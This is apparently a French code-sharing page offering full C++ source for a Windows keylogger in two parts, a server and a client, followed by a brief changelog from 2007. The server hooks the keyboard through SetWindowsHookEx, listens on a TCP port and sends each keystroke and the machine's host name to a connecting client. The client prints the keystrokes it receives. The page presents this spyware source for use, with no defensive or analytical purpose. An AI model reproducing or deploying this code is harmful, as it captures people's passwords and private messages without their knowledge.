KEYLOGGER SERVEUR/CLIENT

//Source du Serveur :
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <cstdio>
#include <cstdlib>

#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")


 HHOOK hKeyHook;

SOCKET sock;
SOCKET csock;
SOCKADDR_IN sin;
SOCKADDR_IN csin;

using namespace std;

void displayCharArray(char stringArray[], int size0floatArray);
 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {

 // Action du clavier et les touches tappées
 if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
 BYTE KeyState[256];
 WORD wBuffer;
 // Récupération des informations
 KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

 GetKeyboardState(KeyState);
 // Conversion code > ascii
 
  ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuffer,0);

switch(hooked.vkCode)
{
 case 9 :{send(csock,"<TAB>",6,0);break;}
 case 13 :{send(csock,"<ENTER>",8,0);break;}
 case VK_BACK :{send(csock,"<delete>",9,0);break;}
 case VK_DELETE: {send(csock,"<Suppr>",8,0);break;}
 case VK_CAPITAL :{send(csock,"<CAP>",6,0);break;}
 case 160 :{send(csock,"<MAJ>",6,0);break;}
 

 default : {                                          
send(csock,((const char*)&wBuffer),sizeof(&wBuffer),0);
break;
}}


 }
 // Fin du hook Renvoi des messages 
 return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
 }


 // Boucle message
 void Boucle()
 {
 MSG message;
 while (GetMessage(&message,NULL,0,0)) {
 }
 }


 DWORD WINAPI KeyLogger(LPVOID lpParameter)
 {      

 HINSTANCE hExe = GetModuleHandle(NULL);

 if (!hExe) return 1;

 // Demarrage du hook
 hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);

 // Boucle message
 Boucle();

 return 0;
 }

//**************************************************************************
int main()
{ //*********************************************************************


WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
	


sock = socket(AF_INET, SOCK_STREAM, 0);

sin.sin_addr.s_addr			= INADDR_ANY;
sin.sin_family				= AF_INET;
sin.sin_port				= htons(2192);
//**********************
HANDLE hThread;
 DWORD dwThread;
 DWORD exThread;
//**********************

if (bind(sock, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR){
     cout << "Problème de connection";
     system("PAUSE");
     return 1;}          
if (listen(sock, 0) == SOCKET_ERROR){
                 cout << "Port déjà utilisé";
                 system("PAUSE");
                 return 1;}
char FAR buffer[64] ;

		while(true)
		{
                
			int sinsize = sizeof(csin);
			if((csock = accept(sock,(SOCKADDR *)&csin,&sinsize)) != INVALID_SOCKET)
			{
                      gethostname(buffer, sizeof(buffer));
                      send(csock,buffer,sizeof(buffer),0);
                      send(csock," // Keylogguer Actif : ",22,0);                                          
                      cout << "On" << endl;                 
			hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
 
 if (hThread) {
 
 return WaitForSingleObject(hThread,INFINITE);
} else {
       
 return 0;

			}
			
        }

closesocket(sock);
WSACleanup();
		}
}

//CLIENT
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

using namespace std;

int main(int nNumberofArgs, char* pszArgs[])
{
char buffer[1024];

WSADATA WSAData;
WSAStartup(MAKEWORD(2,0),&WSAData);
    
SOCKET sock;
sock = socket(AF_INET,SOCK_STREAM,0);
    
SOCKADDR_IN sin;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_family      = AF_INET;
sin.sin_port        = htons(2192);

connect(sock,(SOCKADDR *)&sin,sizeof(sin));
int x = connect(sock,(SOCKADDR *)&sin,sizeof(sin));
// Boucle infinie réception message
for(;;)
{
    int i = recv(sock,buffer,sizeof(buffer),0);
    if (i != false && i != SOCKET_ERROR)
    {
    cout << buffer;
    }
    if ( i == SOCKET_ERROR){cout << endl << endl << "Connexion interrompu" << endl << endl;system("PAUSE");return 1;}
    if(x == false){
         system("PAUSE");
         return 1; // Si connection inexistante break
}}



closesocket(sock);
WSACleanup();

getchar();
}

Télécharger le zip

05 novembre 2007 23:01:11 :

Vérification des appels

05 novembre 2007 23:29:12 :

Suppression de code inutile

06 novembre 2007 18:24:06 :

Nouveaux systeme d'envoie des touches tappées, surveillance des connections du clients renforcée : plus le bug du client lorsque l'on coupe le serveur en premier

06 novembre 2007 19:06:05 :

Suppression d'une variable inutile oubliée